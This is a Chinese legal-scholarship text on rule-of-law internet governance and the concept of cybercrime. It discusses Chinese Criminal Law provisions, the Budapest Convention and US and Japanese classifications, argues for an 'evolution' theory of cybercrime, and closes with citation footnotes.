(1)推进依法治网的模式转型。法治作为社会治理创新的重要模式,理应积极回应如何把互联网治理难题转换为执法、司法问题。在互联网发展的初期,依托各部门职能分工、全程严格监管的法律路径取得了良好的成效。然而,互联网的每一次技术革新,都会挑战已确立的法律原则与规则。传统依法治网路径重条块轻整合、重管制轻激励、重打击轻引导的“刚性”弊端日益凸显,亟须创新构建“柔性”的依法治网模式。这就需要在互联网法治治理中,加强互联网法治治理的整合,凸显法律的激励和引导功能,将管制降到最低限度,将打击作为最后手段,最终实现从“管理”到“治理”,再到“善治”的理念转变。
(2)构筑互联网安全新生态。在互联互通之后的智慧互联网时代,传统安全生态受到了很大的冲击。过度强调管制的法治化治理路径有可能扼杀互联网创新,削弱互联网的活力。科学的网络安全法律保障机制并非把“刚性”的法律管制作为第一道防线,而是把互联网安全上升到社会综合治理层面,通过立法鼓励、推动、引导互联网安全意识教育与互联网行业自律,使它们与互联网法律规制有机结合起来,打破行政法、民事法、商事法和刑事法的界限,建构互联网安全的法律泛生态圈。
(3)助力互联网经济创新。互联网经济是网络强国战略得以实现的经济基础,为经济创新的引擎,我们应该尽量避免以扼杀创新为代价的对互联网经济的刚性法律管制,而应该对其细心呵护,引入柔性的法律治理模式,从而在保证创新的基础之上,有效防范互联网经济风险,做到趋利避害,为网络强国战略的实现打下坚实的经济基础。具体而言,包含三个方面的内容:一是有限的事前法律规制——确定互联网经济的业务边界和准入条件,二是适度的事中法律规制——动态监管与及时的信息披露,三是强有力的事后法律规制——划定风险底线、保护合法互联网经济模式、坚决打击违法与违规行为。
(4)保障公民网络信息权。我国目前对网络隐私权的保障仍然停留在传统时代,即遵循告知、授权与匿名保护三大基本原则。然而,一方面,大数据时代对用户海量网络信息的再分析使传统的告知与授权变得成本巨大,会极大限制网络信息运用的创新;另一方面,多组数据集的交叉检验也使匿名化操作失去意义。在此背景下,大数据时代网络信息侵权的法律治理需要实现由“隐私保障”向“财产保障”、由侵权补偿向合理使用的柔性模式转型。具体而言,借助数据财产化的理论,跳出隐私权的传统窠臼,赋予公众对相关网络数据的信息权。在赋予公众网络信息财产权属性的基础上,改变侵权补偿的模式,转而强调相关机构对网络信息的合理使用。
(5)引导互联网言论。目前,网络空间言论秩序的法治化治理更多依靠对网络造谣和侮辱诽谤等行为进行严厉打击的“刚性模式”。此种模式的弊端主要体现在两个方面:其一,它固然有利于在短时间内净化网络环境,但却包含扩大打击的风险。其二,对于造谣与侮辱诽谤之外的其他负面言论缺乏有效引导。在智慧互联网的背景下,对于网络空间的言论自由应该更多地借助柔性治理的模式,即通过法律给言论自由划定明确的边界,并鼓励依靠网络舆论、网络伦理、网络文明建设,发挥道德的教化、引导作用。
最后需要说明的是,强调网络的柔性法治治理并非完全摈弃法律的刚性规制。法律,尤其是刑事法的刚性规制是互联网治理的最后一道防线。对于侵犯互联网安全、影响互联网经济和污染互联网文化的网络黑客、网络诈骗等违法犯罪行为,法律应该重拳出击。唯有通过刚柔并济的法治治理,方能最终实现建设网络强国的重大战略目标。
2015年10月30日最高人民法院、最高人民检察院(以下简称“两高”)《关于执行〈中华人民共和国刑法〉确定罪名的补充规定(六)》将现行刑法第287条之二——《中华人民共和国刑法修正案(九)》[以下简称《刑法修正案(九)》]第29条——的罪名确定为“帮助信息网络犯罪活动罪”。“网络犯罪”在确定罪名的司法解释中的正式使用,促进了该概念的刑法学化,为其哲学基础建构与实定规范解释提供了动力。
网络空间具有社会性。20世纪70年代,空间的社会本体论化与空间概念进入西方主流社会学研究的核心,空间成为一个社会学的概念。[35]在空间哲学中,“存在着一门空间的政治学,因为空间是政治性的”,建筑师是空间的生产者,然而,“空间不仅仅是被组织和建立起来的,它还是由群体,以及这个群体的要求、伦理和美学,也就是意识形态,来塑造成型并加以调整的”[36]。例如,女性地理学的观点之一就是,“原野、树林等好玩的地方,以及停车场和小巷等封闭场所,都变成了男人的空间,因为女性害怕在这些地方会遭到侵犯”[37]。原本具有自然属性的原野、树林、停车场、小巷等地理空间,在性别维度的透视下,显现出其两性权力的隐性本质。因此,空间并不仅仅意味着自然环境的地理空间。一方面,“电视、远程通讯和国际互联网的广泛应用,开辟出一个超地理的全球性的技术空间。它具有前所未有的共时性、自如的跨空间性以及强大的连通、整合诸空间的能力”[38]。作为超地理空间,网络空间与现实物理空间并行,成为继陆地、海洋、天空、太空这四大自然地理空间之后的第五大战略空间。另一方面,“空间在人类实践中发生着由自然向社会、由物理向人文空间的让渡与转换”[39]。自然性质的上网动作所留下的登录痕迹,隐藏在网络空间的每个角落,都烙印着人们的社会经历的社会意义。作为社会面的空间,网络空间成为一种社会存在形态,而上网是一种社会生产、生活和交往形式。总之,网络空间的社会性意味着,通过互联网技术搭建的网络空间具有超地理性与非自然性;网络空间实质上是法律(概念)空间,储存有网络犯罪概念。
其一,网络空间因其社会化而成为法律空间。传统的法律独立性说认为,法律是“一个独立的自成体系的领域”,空间和法律这两个概念是“不受影响的,二者是分离的”。突破这种二元框架束缚的“法律地理学或地理法学,又或称法律与空间研究,关注的是法律之于空间、空间之于法律,以及二者间的相互影响,其根本上也是对法律封闭性的批判”[40]。因此,法律地理学的一个侧面,就是从法律的角度理解空间。就网络空间而言,其社会性表现为法律性。“市民社会是处在家庭和国家之间的差别的阶段……作为差别的阶段,它必须以国家为前提,而为了巩固地存在,它也必须有一个国家作为独立的东西在它面前。”[41]“在现代国家中,法律是国家的独家产品,而且,从逻辑上讲,国家的意志就是法律。”[42]有国家,就有国家意志,从而就有法律。国家,作为一个具有清晰疆域的空间体,是一个法律空间。“根据某种预想结果来阐述的各种目的论哲学在科学思想史中曾经是极其重要的,它们在地理学中也并不陌生……李特尔把地球看成是神计划的,因而人类活动的目标就是实现这个计划。”[43]就法律地理学而言,此功能主义哲学需要阐明网络用户的上网行为在各个系统s(如电子商务、娱乐、言论发表等)中在某一时间t的一定特性i。具言之,特性i就是“某种预想结果”和对“行为型式或社会文化体制”的认识。当某种必要条件n得到满足时,s才在网络空间c中充分发挥功能。如果s中出现特性i,那么作为一种结果,条件n会得到满足。因此,t时特性i必须出现于s中。作为法律空间的国家的最优状态是法治,“法治即法律主治或法的统治(the rule of law),不仅仅包含依法而治的意思,而且包含有目的、有价值的观念”[44]。如果将i设为法治,则具有秩序、权利、自由等内容的n得到满足,网络空间c中的s就得以繁荣。总之,“国家的目的就是社会的目的和个人的目的——由意志的基本逻辑所决定的最美好的生活。作为国家,它使用的手段总会带有暴力的性质”[45]。社会性网络空间自我向“善”的内生需要使其成为具有强力控制色彩的法律场所。
其二,网络空间因其社会性而存在网络犯罪。网络空间作为科技(人类实践)的产物,天然是一种文化现象,应属于当代空间概念的范畴,而非纯粹中立的没有任何政治、道德色彩的自然技术。之所以强调网络空间的社会化空间身份,是因为,“人的行为是属于社会范畴的现象”,而社会现象“产生于人群互动和交流关系”或者“存在于若干个体相互作用的地方”[46]。在互联网与现实社会深度融合的今天,错综复杂的社会关系既几乎同步平移,复制于网络空间之中,又与网络空间的工具性价值和独立性价值发生“化学反应”,而生成或线上与线下相互交织或独立存在于网络空间的新型社会关系。“按照常理来推断,既然网络世界或虚拟世界是真实世界的反映,而虚拟世界的法律与秩序就是真实世界的法律与秩序的反映,那么真实世界的法律就应该适用于网络世界……契约的概念就应该适用于网络世界,财产的观点也应该适用于网络世界,侵权的概念也应该适用于网络世界……要约、承诺、所有权等法律概念也就自然而然地成为虚拟存在的理论术语。”[47]犯罪的概念也概莫能外。网络空间是虚拟的,而法益侵害是现实的。在网络空间具有当代空间概念的社会性的前提下,“如同每一种不法行为一样,犯罪也是反社会的行为,即使犯罪行为直接针对某个特定的个人,它也是对社会本身的侵犯”[48],所以犯罪作为一种社会现象,自然会以网络犯罪的面孔出现在网络社会空间之中,而创生于网络空间内部的违法行为也会因被犯罪化而形成新的具体的网络犯罪概念。
其三,在网络犯罪概念于社会性网络空间的生成机理之外,需要说明的是,网络犯罪(cybercrime),通常与计算机犯罪(computer crime)、计算机相关犯罪(computer-related crime)彼此相同,从而能够互换使用。这一表面上看似无须细究的概念等价做法,其背后蕴藏着深刻的社会发展内涵:科技进步引发社会观念和社会关系变革。1984年,Sun Microsystems公司的科学家约翰·盖奇(John Gage)以其自创的“网络就是计算机(The Network is the Computer)”这一新词——后来成为Sun Microsystems公司的座右铭——来描述当时分布式计算机的新兴世界。在处理器运行速度和互联网连接速度二者都飞速提高的三十多年后的今天,很多消费者认为互联网连接速度比处理器运行速度更加重要。[49]事实证明,John Gage是对的:当今的计算机已不是单个台式的计算机,而是以网络为中心的计算机。因此,网络概念与计算机概念随着计算机、网络的发展而趋同。相应地,冠以二词的犯罪概念也无二致。此外,2011年8月1日“两高”《关于办理危害计算机信息系统安全刑事案件应用法律若干问题的解释》第11条规定,计算机信息系统和计算机系统包括计算机、网络设备等。因而,不仅网络犯罪与计算机犯罪、计算机相关犯罪的概念相同,现行《刑法》第285、286条中的“计算机信息系统”“计算机系统”,与《刑法修正案(九)》增设的第286条之一、第287条之一、第287条之二中的“信息网络”的含义也相同;现行刑法第287条中的“利用计算机”与第287条之一、第287条之二中的“利用信息网络”的意义也一致。
概言之,网络空间与线下现实空间都是社会空间形态,网络犯罪存在的现实基础是社会性的网络空间。随着计算机网络的发展,网络与计算机在技术上的相互依附与渗透使二者在功能性概念上越来越接近;从计算机、计算机系统、计算机信息系统到信息网络的刑法用语的变化,正反映了技术发展的社会存在对社会意识的决定作用,结果是“计算机犯罪”向“网络犯罪”转移。由此,“计算机信息系统”、“计算机系统”与“信息网络”、“利用计算机”与“利用网络”、“网络犯罪”与“计算机犯罪”、“计算机相关犯罪”,往往可等价视之。进言之,对网络犯罪概念一般是从广义上来理解的。
虽然关于网络犯罪概念的具体内涵和外延还没有完全一致的表述,但其基本轮廓已经显现。欧洲理事会《关于网络犯罪的公约(2001)》(Conven-tion on Cybercrime,以下简称《公约》)制定了一个较为宽泛的认知网络犯罪本质的框架,这系全球首创。[50]截至2015年9月,已有47个国家批准该公约,还有7个国家签署了该公约但尚未在国内获得批准。[51]据《公约》,网络犯罪是指“针对计算机系统、网络和计算机数据的机密性、完整性和可用性以及滥用这些系统、网络和数据的行为”[52]。《公约》“呼吁将四类九种行为犯罪化。第一类是‘侵犯计算机数据和系统的机密性、完整性和可用性的违法行为’,包括非法侵入计算机系统、非法拦截计算机数据、非法干扰计算机数据、非法干扰计算机系统和滥用计算机设备。第二类是‘计算机相关违法行为’,包括计算机相关伪造行为和计算机相关欺诈行为。第三类是‘内容相关违法行为’,包括儿童色情相关违法行为,并辅之以2002年11月7日通过的新协议规定的通过计算机系统传播种族主义或者仇外材料的行为。然而,这个新协议是一个独立于《公约》的法律文本,《公约》缔约国没有义务采用它。第四类是‘侵犯版权及其相关权利的违法行为’,将版权侵犯行为犯罪化”[53]。美国于2006年9月29日批准了《公约》[54],其有关法律规定反映了《公约》的基本内容[55],但也有自己的一套话语。
美国司法部认为,网络犯罪的范围应十分广泛,包括“对涉及与犯罪、侦查、起诉有关的计算机技术知识的刑法的任何违反”。这一可膨胀的概念有必要涵盖越来越多的各种各样的一系列与计算机相关的违法行为。[56]在这一理念下,网络犯罪大致是指利用计算机促进或者实施犯罪行为,不但包括通过计算机迅速实施的传统犯罪,而且包括与其他非网络犯罪不同的某些特定的技术犯罪。根据计算机在特定犯罪中所扮演的角色,网络犯罪可分为三种类型。第一,计算机可能是犯罪对象(the object of a crime)。这些犯罪要么以计算机(或者服务器)本身为犯罪目标,要么以其上存储的信息为犯罪目标。第二,计算机可能是犯罪主体(the subject of a crime)。计算机作为犯罪主体,意指计算机是犯罪的物理场所,或者独特形式的资产损失的源头或者原因,例如对病毒、蠕虫、逻辑炸弹、特洛伊木马等的使用。第三,计算机可能是犯罪工具(a criminal instrumentality),利用它以更加复杂的行为方式实施传统的犯罪行为,如盗窃、诈骗、侵占、冒犯他人等。[57]
美国的网络犯罪三分法值得我国借鉴。
首先,与欧洲的分类法相比,美国的三分法类型化效果更好。《公约》按照所侵犯的法益的种类对网络犯罪进行分类,然而其第二、三、四类可以统一划归美国的“作为犯罪工具的计算机”这一类。而且,美国的划分方法的特别之处在于,将病毒等攻击作为单独一类:既不同于作为犯罪工具的计算机,也不同于作为犯罪客体的计算机,携带病毒的计算机能够成为犯罪主体并可在犯罪分子的操控下非法干扰、拦截、获取或者攻击其他计算机数据、系统或者网络。随着信息网络的发展,单独划分出“作为犯罪主体的计算机”的意义将更加突出。
其次,美国的三分法与我国网络犯罪的刑法规制体系相融洽。其一,现行《刑法》第285条第1、2款规定的非法侵入计算机信息系统罪,非法获取计算机信息系统数据、非法控制计算机信息系统罪,与第286条第1、2款所规定的破坏计算机信息系统罪,同属于计算机作为犯罪对象的网络犯罪。其二,现行《刑法》第286条第3款规定的破坏计算机信息系统罪、第286条之一规定的拒不履行信息网络安全管理义务罪、第287条之一规定的非法利用信息网络罪、第287条之二规定的帮助信息网络犯罪活动罪,与第285条第3款规定的提供侵入、非法控制计算机信息系统程序、工具罪,同属于计算机作为犯罪主体的网络犯罪。其三,现行刑法第287条规定的利用计算机实施的有关犯罪,属于计算机作为犯罪工具的网络犯罪。
再次,网络犯罪的三类对应了三种需要刑法侧重保护的计算机(信息网络)法益。第一,以计算机作为犯罪对象的网络犯罪侵犯的是计算机系统、信息网络和计算机数据的机密性、完整性和可用性。第二,以计算机作为犯罪主体的网络犯罪体现了计算机系统、信息网络作为科学技术应当被人类正当使用,而不应被滥用。第三,刑法规制以计算机作为犯罪工具的网络犯罪,是为了保护利用计算机实施的传统犯罪行为所侵犯的那些法益。
最后,日本关于常规电脑犯罪的理论类型是,“(1)滥用电脑而实施的犯罪;(2)加害于电脑的犯罪;(3)窃取电脑信息的犯罪”[58]。与欧洲和美国的分类模式相比,清楚的是,日本学者的分类项目(1)与(2)大概分别对应美国的以计算机作为犯罪工具的网络犯罪和以计算机作为犯罪对象的网络犯罪,而(3)大致对应欧洲的第一类网络犯罪,即“侵犯计算机数据和系统的机密性、完整性和可用性的违法行为”。这至少说明,美国和日本的“作为犯罪对象的计算机”和“作为犯罪工具的计算机”这两个分类框架较为固定,不同的是具体的分类内容。日本学者严格区分电脑与电脑信息,因而并不认为窃取电脑信息的犯罪属于以“计算机作为犯罪对象”的网络犯罪;而美国学者将“作为犯罪主体的计算机”从“作为犯罪工具的计算机”中分离出来,单独作为一类。由于(1)信息网络技术的发展使当下“计算机信息系统”、“计算机系统”与“信息网络”等刑法用语可以通用,(2)信息网络技术的发达使未来病毒等计算机形似犯罪主体本身的智能型高科技犯罪更为凸显,所以美国的三分法具有前瞻性。
总言之,网络犯罪的概念在国际上一直被宽泛理解和广义使用,而我国刑法也对网络犯罪采取了三分法。需要注意的是,在三分法之下,各类型的网络犯罪并不互斥,同一种网络犯罪行为可能同时属于这三种类型。比如,黑客利用计算机病毒将他人名下的银行账户中的存款通过网上转账转到自己名下的银行账户中:其一,黑客将计算机作为犯罪工具实施了盗窃行为。这属于第三种类型。其二,黑客利用病毒攻击银行计算机系统。这种行为属于第二种类型。其三,被害人银行账户中的网上记录是计算机数据,对其进行删除、更改的犯罪行为属于第一种类型。即使按照《公约》中的法益种类分类法,将网络犯罪分为侵犯计算机数据和系统的机密性、完整性和可用性的网络犯罪以及以计算机为犯罪工具实施传统犯罪行为的网络犯罪,也会存在分类的交叉问题。例如在上述的黑客网上盗窃银行案中,黑客的网络盗窃行为既侵害了被害单位银行的计算机数据的机密性和完整性,又侵犯了被害自然人的财产法益。这一方面是因为分类标准尚存缺陷,另一方面也反映了网络犯罪现象的复杂性导致网络犯罪类型之间相互交错。
“互联网+”具有放大所加对象的好与坏的秉性。广义与交织的网络犯罪类型,正是不法行为在网络这一新型的社会空间内被放大的结果:这些具有复杂类型的网络犯罪有新有旧(something old,something new)。[59]“首先,信息社会中产生的新价值形式需要刑法的保护,特别是与数据和计算机系统的保密性、完整性和可用性相关的新利益。其次,原则上已享受了刑法保护的新的侵害传统价值观的形式,可能要求对刑法进行某些调整。”[60]具体而言,当网络犯罪是特别涉及电子侵犯和非法使用或者攻击计算机、网络或者存储系统的犯罪行为时,网络犯罪是一种新型犯罪。“利益是刑罚保护动机”[61],法益具有“使刑事立法具有合理目的性”的刑事政策机能。[62]网络社会亦是信息社会。“信息不仅关系到经济,而且关系到预警和法益”,在“信息和通讯技术的形成和使用”与“法律及各法律教义学专业”之间起着一种交叉学科联结作用的法律信息学的任务是,使对信息权和数据的“真实保护目的能切实兑现”[63]。众所周知,1979年刑法没有关于计算机犯罪的规定。自1997年刑法始,历经2009年《刑法修正案(七)》、2015年《刑法修正案(九)》,针对计算机系统、信息网络和数据保护的网络犯罪的刑法规制体系逐渐完善。
人类文明的进步促使新的法益的需要刑法保护,不可避免通过刑事立法将相关侵犯法益行为犯罪化。“然而,对于计算机来说,被用作促进传统犯罪的工具,目前来看,更加常见。”[64]技术,尤其是信息技术和生物技术,是重塑我们身体符号的主要工具[65],而作为信息技术优秀成果的互联网能够带来特有的“人格的解放和扩大感”[66],传统犯罪在网络空间中被放大。“网络犯罪的特点之一是犯罪无国界。一方面,犯罪分子与被害人交流的媒介是信息网络,犯罪分子可以借助网络虚拟世界实施犯罪行为,不需要与被害人进行直接接触,被害人可能与犯罪分子素未谋面。另一方面,网络犯罪分子可以跨越地域,进行远程控制。不同于传统犯罪中需要将‘犯罪工具’随身携带,网络犯罪分子甚至可以将实施犯罪的网络场所转移至境外,采取信息倒流、跨国联合等方式,如我国境内90%以上的诈骗网站、钓鱼网站、赌博网站的服务器位于境外。”[67]如果说对那些在信息社会中产生的与信息和数据相关的新价值形式的刑法保护,是从无到有的刑事立法的扩张,因而完全不同于以往,那么,对已经享受了刑法保护的传统价值形式的新的侵害——就以计算机作为犯罪工具的网络犯罪而言,其是自成一类的犯罪(sui gene-ris),还是仅仅是“新瓶旧酒”(old wine in new bottles)?[68]换言之,网络犯罪的“放大”现象是不是颠覆性的,从而具有根本上的质变?网络犯罪与传统犯罪是否存在本质上的不同这关系到如何“对刑法进行某些调整”以及调整的程度,关系到是否需要对传统刑法理论进行彻底的重新思考并予以重构。
异化说认为,网络空间是一个全新领域,在其中需要重新思考法律的首要原则。美国有学者主张,物理空间(民族国家或者其他政治实体)与传统法律空间的边界具有普遍相关性、高度重合性,而网络空间不以自然地域为基础的边界,是由分离有形世界与虚拟世界的屏幕和口令构成,这彻底颠覆了基于物理空间边界的规则制定体系,因此,网络空间并非天然地应受地域性规则的统治,它是一个具有(更具法律意义的)新边界的“场所”,对其适用特别的法律,应当是自然而然的事。[69]这是较为绝对的异化说,我国则有相对缓和的异化说。我国有学者认为,信息时代的到来使传统犯罪挣脱了物质载体的束缚,可以自由扩散和传播,也使网络犯罪的侵害方式开始多样化、虚拟化,而传统的刑法罪名显然对此措手不及。由于网络技术性和虚拟性的介入,传统犯罪的行为方式、危害后果都产生了异化,其网络异化后带来危害结果评价的难题。面对传统犯罪的网络变异,一方面,知识经济和信息时代对刑法规范的影响是不可逆的,对刑法规范进行一定的扩张解释,可以弥补相当一部分刑法保护的缺陷和不足;另一方面,也需要实现宏观刑事政策的转化。[70]总之,绝对的与缓和的异化论都强调,互联网创造了一个独立的网络空间,它生来不同于现实空间,现有的(至少有些)法律规则不适合数字时代,因此需要重塑传统的刑法规范。
异化说虽然充分关注了网络空间的特性与其之于传统犯罪的影响,但也存有缺陷。首先,绝对异化说的哲学前提并不周延。传统法律的效力虽然能够及于国家等物理空间的每个角落,在此意义上,物理空间与传统法律空间是重合的,但传统法律效力的范围可能并不止步于此。例如,根据属人主义原则,凡本国人,无论在国内或国外,均受本国法律约束。[71]换言之,既然传统法律的效力可以突破自然疆域的限制,那么也就存在穿透由屏幕和口令所形成的界面而进入网络空间的可能。其次,绝对异化说的治网方案并不现实。依该说,独立的网络空间需要独立的网络空间法来规治。虽然各国针对互联网的法律法规渐多渐密,但未见立法者单独创建所谓的与现有法律体系并行的网络空间法体系。相反,更有甚者主张,计算机仅仅是一个工具而已,网络空间的犯罪应该和现实空间的犯罪一样,以同样的方式受到规制。美国司法部即主张刑法应该是技术中立(technology neutral)的,不应被改变以适应网络空间的特点。[72]再次,缓和异化说显然发现了绝对异化说的极端性,进而将治网方案改良为刑事立法与刑法解释并用。但这一方案中关于预备行为实行化[73]与共犯行为正犯化[74]的立法建议,可能并不高明:它会导致刑法总则可能发挥的作用进一步减弱,刑法分则中各罪的构成要件盘根错节、相互交叉,罪数的确定更加复杂。当然,这是解释论需要解决的问题。最后,缓和说的异化逻辑在马克思主义哲学视阈中存有内在矛盾。马克思使用“异化”这一概念来说明“劳动异化”现象,即动物与人都有生命活动,而有意识的生命活动把人同动物直接区别开来。人的有意识的生命活动意味着,生命活动(劳动)是意识(人)对象,这时,人的活动才是自由的活动;“异化劳动把这种关系颠倒过来,以致人正因为是有意识的存在物,才把自己的生命活动,自己的本质变成仅仅维持自己生存的手段”[75]。历史唯物主义就是要去透视并揭穿一层层颠倒的、异化的、对象化的假象,达到那个真实存在的本质和规律。[76]根据缓和说,网络犯罪是传统犯罪的异化。反之,作为异化之物的网络犯罪的本真就在于传统犯罪。亦即,网络犯罪的本质与规律也存在于传统犯罪之中。由此,规制传统犯罪的传统法律(刑法)也就可能约束网络犯罪,网络空间完全在传统法律(刑法)的效力射程之内,新的立法于是就失去了逻辑基础。但是,这与异化说中重构新的网络空间法(刑事立法)的观点明显不符。
进化说可能是认识网络犯罪与传统犯罪之间关系的第二条路径。该说主张,网络犯罪是传统犯罪在网络空间新环境下的进化而非异化。其理由在于:第一,在网络时代更加高级的犯罪手段使传统犯罪在线上极易实现,且网络空间的开放性与扩散性使其社会危害性在一般意义上相应地被放大。第二,与网络科技的发展阶段相适应,当网络空间的科技特性不足以改变传统犯罪的罪质与类型结构时,新的立法是不必要的,但层出不穷的附着专业的科技背景知识的新犯罪使案件事实的认定变得困难,而解决此类案件的刑法解释学需要在网络空间新常态下进行自我检验与自省发展。第三,现有的分析与批判还是建立在颇为传统的刑法学理所奠定的思考模式的基础上,仍然存在一定程度的历史局限性。可以想见的是,倘若信息网络的发展在未来根本性地改变人类社会与生活形态,那么,刑法思维就会相应发生革命性的改变。[77]因此,当网络科技高度发达,以至于在网络空间出现了新的犯罪类型或者新的值得刑法保护的法益时,新的立法就需要马上跟进。
进化说比异化说具有优势。与异化说一样,进化说当然也承认网络犯罪具有不同于传统犯罪的自身特性,关键是如何认识这些不同。进化说与异化说的相异之处在于:第一,进化说将传统犯罪与网络犯罪的不同视作传统犯罪在网络新环境下的进化,从而认为网络犯罪处于相对独立的地位。既然网络犯罪是独立存在,也与传统犯罪紧密相连,那么对其基因在逻辑上不像异化说主张的只能在传统犯罪中寻找。第二,由于网络犯罪的相对独立性,关于治网策略,进化说主张根据网络科技的发展程度以及其对传统犯罪的影响深度,决定在某一历史时期与某一犯罪领域是采取解释论的立场还是采取立法论的立场,而不是中庸地同时采取解释论与立法论的立场。第三,进化说将网络犯罪看作网络空间建立与发展的必然且自然的产物,而异化说将其贬为传统犯罪在网络空间变异的“怪胎”。前者是一种对待网络“新常态”的积极态度。而在治理网络犯罪过程中,后者可能于刑法理论上更加体现为或在刑事政策上容易滑向一种重打击的态度。“无论正当程序(due process)是否禁止另类地延伸旧的成文刑法,以覆盖应由立法者制定但其却没有想到的新行为,自由保留原则也同样要求,对古老的自由原则作宽泛解释,以在正在到来的电子时代维持一个文明和体面的社会。”[78]可见,相比之下,进化说能够为网络空间法治化治理中惩罚犯罪与保障人权之平衡提供思想基础和实践指南。
对于传统犯罪在网络空间中进化为网络犯罪,需要根据网络科技的发达程度及其对传统犯罪的颠覆力度,决定采取解释论或者立法论的治网方案。据此,对当前我国网络科技的发展阶段作出准确的实事求是的判断是必要的。1994年4月20日,中国全功能接入国际互联网,从此开启互联网时代。[79]虽然经过二十多年的发展,中国的互联网事业取得了长足进步,但是,从信息技术的发展前景来看,不仅中国,乃至整个世界,可能都处于网络时代的初级阶段。“尽管计算机可以方便某些类型的罪行的实施,并无疑催生了新的犯罪机会,但是,计算机与方便犯罪或者造成新的犯罪市场的其他技术创新,实际上没有什么不同。例如,数字复印机使伪造发生了变革。汽车不仅使某些犯罪更容易,而且创造了全新的犯罪市场。”[80]因此,将互联网作为犯罪工具的网络犯罪仍然保留了线下传统犯罪的强大基因,传统刑法概念的滞后性并未超越其开放性,基于现行刑法的解释论立场仍大有可为。
注释
[1][美]迈克尔·戈特弗里德森、美特拉维斯·赫希:《犯罪的一般理论》,吴宗宪、苏明月译,中国人民公安大学出版社2009年版,第161页。
[2]Web(World Wide Web)即全球广域网,又称万维网,是一种基于超文本和HTTP的、全球性的、动态交互的、跨平台的分布式图形信息系统。Web1.0、web2.0、web3.0,也可称为互联网1.0、互联网2.0、互联网3.0。科技界一般使用web1.0/2.0/3.0的简称,以此代表互联网迭代演进的三个不同时代。
[3]参见刘艳红《刑法理论因应时代发展需处理好五种关系》,《东方法学》2020年第2期,第6页。
[4]参见彭兰:《“连接”的引进——互联网进化的基本逻辑》,《国际新闻界》2013年第12期。
[5]刘琼、任树怀:《论web3.0下的信息共享空间》,《图书馆》2011年第2期。
[6]参见倪颖杰等:《基于高性能数据挖掘的网络海量信息处理平台》,《计算机工程与科学》2009年第A1期。
[7]参见罗明宇等:《计算机网络安全技术》,《计算机科学》2000年第10期。
[8]参见翟钰等:《系统安全漏洞研究及数据库实现》,《计算机工程》2004年第8期。
[9]参见董慧、唐敏:《语义检索在Web2.0环境下的应用探讨》,《中国图书馆学报》2011年第3期。
[10]刘岩:《技术升级与传媒变革:Web1.0到Web3.0之路》,《电视工程》2019年第1期。
[11]孙道萃:《网络刑法知识转型与立法回应》,《现代法学》2017年第1期。
[12]崔金红、王旭:《能力共享架构及其在IM和SNS中的应用研究》,《计算机科学》2008年第12期。
[13]参见金雷、谢立:《网络安全综述》,《计算机工程与设计》2003年第2期。
[14]吴吉义、平玲娣:《Web2.0主流应用技术——AJAX性能分析》,《计算机工程与设计》2008年第8期。AJAX技术是指“Asynchronous JavaScript And XML”(异步JavaScript和XML),它是一种创建交互式网页应用的网页开发技术。
[15]参见吴吉义、平玲娣:《Web2.0主流应用技术——AJAX性能分析》,《计算机工程与设计》2008年第8期。
[16]参见孙茜:《Web2.0的含义、特征与应用研究》,《现代情报》2006年第2期。
[17]参见江苏省南京市雨花台区人民法院(2013)雨刑初字第126号刑事判决书;黑龙江省哈尔滨市宾县人民法院(2015)宾刑初字第254号刑事判决书;罗书臻:《最高法院公布利用网络侵害妇女未成年人犯罪案例》,《人民法院报》2014年10月22日第1版。
[18]参见广东省广州市天河区人民法院(2005)天法刑初字第1230号刑事判决书,广东省广州市中级人民法院(2006)穗中法刑二终字第68号刑事裁定书。
[19]李德仁、胡庆武:《基于可量测实景影像的空间信息服务》,《武汉大学学报(信息科学版)》2007年第5期。
[20]参见刘畅:《网人合一·类像世界·体验经济——从Web1.0到Web3.0的启示》,《云南社会科学》2008年第2期。
[21]J.Hendler,W.Hall and N.Contractor,“Web Science:Now More Than Ever”,Computer,vol.51,no.6(2018),pp.12-17.
[22]周易君编著:《Web3.0时代的服装网络营销:理论与营销》,经济日报出版社2016年版,第3页。
[23]参见中国互联网络信息中心(CNNI):《中国互联网络发展状况统计报告》2020年4月,第19页。
[24]参见崔婉秋、杜军平:《基于用户意图理解的社交网络跨媒体搜索与挖掘》,《智能系统学报》2017年第6期。
[25]参见殷慧霞:《Web3.0及其教育应用探究》,《信息技术与信息化》2018年第6期。
[26]参见张小虾等:《开设网站供他人进行彩票投注该定何罪》,《检察日报》2019年6月2日第3版。
[27]参见江西省赣州市章贡区人民法院(2016)赣0702刑初367号刑事判决书。
[28]参见贵州省高级人民法院(2015)黔高刑二终字第27号刑事裁定书。
[29]J.Hendler,“Web 3.0 Merging”,Computer,vol.42,no.1(2009),pp.111-113.
[30]周佑勇:《智能技术驱动下的诉讼服务问题及其应对之策》,《东方法学》2019年第5期。
[31]N.Shadbolt,W.Hall and T.Berners-Lee,“The Semantic Web Revisited”,IEEE Intelligent Systems,vol.21,no.3(2006),pp.96-101.语义网(Semantic Web)由蒂姆·博纳斯-李(Tim Ber-ners-Lee)于1998年提出,是web3.0时代的重要特征之一,意味着能使整个互联网成为一个通用的信息交换媒介。
[32]王兴伟:《面向“互联网+”的网络技术发展现状与未来趋势》,《计算机研究与发展》2016年第4期。
[33]参见王春:《绍兴警方侦破首例利用AI犯罪案》,《法制日报》2017年9月26日第8版。
[34]参见熊回香等:《基于Web3.0的个性化信息聚合技术研究》,《情报理论与实践》2011年第8期。
[35]参见郑震:《空间:一个社会学的概念》,《社会学研究》2010年第5期。
[36]参见[法]亨利·勒菲佛:《空间与政治》,李春译,上海人民出版社2008年版,第9、52、66页;[英]R.J.约翰斯顿:《哲学与人文地理学》,蔡运龙、江涛译,商务印书馆2010年版,第196-199页。
[37][英]约翰·仑尼·肖特:《城市秩序:城市、文化与权利导论》,郑娟、梁捷译,上海人民出版社2010年版,第354页。
[38]冯雷:《当代空间批判理论的四个主题——对后现代空间论的批判性重构》,《中国社会科学》2008年第3期。
[39]胡潇:《空间的社会逻辑——关于马克思恩格斯空间理论的思考》,《中国社会科学》2013年第1期。
[40]於兴中:《法理学前沿》,中国民主法制出版社2015年版,第144-148页。
[41][德]黑格尔:《法哲学原理》,范扬、张企泰译,商务印书馆1961年版,第197页。
[42][法]狄骥:《法律与国家》,冷静译,郑戈校,中国法制出版社2010年版,第158页。
[43][英]大卫·哈维:《地理学中的解释》,高泳源、刘立华、蔡运龙译,高泳源校,商务印书馆2012年版,第524页。
[44]刘艳红:《实质刑法观》,中国人民大学出版社2009年版,第50页。
[45][英]鲍桑葵:《关于国家的哲学理论》,汪淑钧译,商务印书馆1995年版,第191页。
